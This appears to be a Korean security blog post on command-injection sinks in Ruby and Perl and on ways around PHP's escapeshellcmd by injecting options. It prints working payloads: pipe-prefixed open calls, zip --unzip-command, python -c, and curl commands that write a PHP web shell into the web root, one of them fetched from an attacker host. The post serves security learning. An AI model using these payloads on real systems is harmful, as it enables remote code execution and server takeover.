언어별 취약 시스템 명령어

2025. 4. 30. 15:25·Web/Web Hacking Techniques

Ruby & Perl

두 언어의 경우 파일 및 하위 프로세스의 I/O를 제공하는 open 함수가 존재한다.

File.open("example.txt", "r") do |file|
  contents = file.read
  puts contents
end

[Perl]
open(my $file_handle, "<", "example.txt") or die "파일 열기 실패: $!";
while (my $line = <$file_handle>) {
    print $line;
}
close($file_handle);

 

만약 첫 번째 문자가 |(파이프라인)일 경우 pipe_open 함수에서 처리된다. 해당 함수는 새로운 프로세스를 생성하므로, 임의 명령어를 실행시킬 수 있다. rb_io_s_binred, rb_io_open, rb_is_s_read를 사용하는 IO.read, IO.bindread 두 함수를 사용하더라도 전달된ㄴ 인자에 따라 프로세스를 실행하므로 아래와 같이 open함수처럼 사용할 수 있다.

open("|id > /tmp/test")
IO.read("/tmp/test")
-------
IO.read("|id")
-------
IO.binread("|id")

[Perl]
perl -e 'open A, "|id"'

PHP

PHP의 경우 기본적으로 system 함수가 주어지지만 OS Injection 방지를 위해 escapeshellcmd라는 함수를 사용한다.

이는 메타 문자가 입력되었을 경우 해당 문자 앞에 \을 삽입하여 문자 그 자체로 인식되도록 하고 있다.

하지만 특정 명령어의 인자로 입력값이 전달되는 경우 실행하고자 하는 명령어의 옵션을 조작할 수 있다.

  • escapeshellcmd
  • escapeshellarg

두 함수가 존재하며, escapeshellcmd 함수의 경우 메타 문자를 활용하지는 못하지만 명령어의 옵션 또는 인자를 조작할 수는 있다.

 

이를 어떻게 활용할 수 있을까?

1. zip

  • zip 명령어의 -unzip-command 옵션이 존재한다. 이는 인자로 전달된 명령어를 실행한다.
 zip /tmp/test.zip /etc/passwd -T --unzip-command="sh -c id"

 2.python

  • python의 -c옵션은 명령줄로 코드를 실행할 수 있다.
 python -c '__import__("os").system("id")' input.py

3. curl

  • curl의 -o 옵션은 임의 경로에 파일을 저장할 수 있따. 이는 WebShell을 올리는 방안이 된다.
 http://test.locat/test/?mgs=<?%3Dsystem($_GET[cmd]);?> -o /var/www/html/uploads/webshell.php

 

-o 옵션을 통해 외부의 데이터 또한 저장할 수 있다.
공격자의 웹 서버에 WebShell 을 업로드 한 상태에서
curl http://attack.com/webshell.php -o /var/www/html/webshgell.php
와 같이 업로드가 가능하다.

 

/var/www/html은 아파치의 경로이다. 즉 index 라고 생각할 수 있다.

 

4. wget

  • wget 또한 curl과 동일하게 사용된다.
 wget http://test.local -o hello.txt
저작자표시 (새창열림)

'Web > Web Hacking Techniques' 카테고리의 다른 글

PHP Type Juggling Magic Hash  (0) 2025.04.30
PHP strcmp() Vulnability  (0) 2025.04.30
Ruby-regular-expression(newline)[\n]  (0) 2025.04.30
[WEB] Ajax (Asynchronous JavaScript And XML)  (0) 2023.02.24
[WEB] Same Origin Policy (SOP)  (0) 2023.02.17
'Web/Web Hacking Techniques' 카테고리의 다른 글
  • PHP Type Juggling Magic Hash
  • PHP strcmp() Vulnability
  • Ruby-regular-expression(newline)[\n]
  • [WEB] Ajax (Asynchronous JavaScript And XML)
g2h
g2h
  • g2h
    감자 텃밭
    g2h
  • 전체
    오늘
    어제
    • 분류 전체보기 (144)
      • Network (4)
      • Web (31)
        • Web Hacking Techniques (31)
      • System (32)
        • Tips (11)
        • System Hacking Techniques (21)
      • Pentest (14)
        • Pentest (14)
      • WriteUP (47)
        • sec (0)
      • 도구|Tools (12)
      • Security Issue (3)
      • 1-Day-Analysis (1)
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    web hacking
    nosql injection
    XSS
    Kioptrix
    CTF
    Encoding
    dom based xss
    스캐닝
    스캔
    cross side script
    모의해킹
    해킹
    취약점 스캔
    Metasploit
    vulnability
    Los
    침투테스트
    취약점
    해킹툴
    NOSQL
    해킹도구
    SQL Injection
    load of sqlinjection
    권한상승
    skt 해킹
    Reflected XSS
    내부침투
    sql
    Hacking
    DoM
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.3
g2h
언어별 취약 시스템 명령어
상단으로

티스토리툴바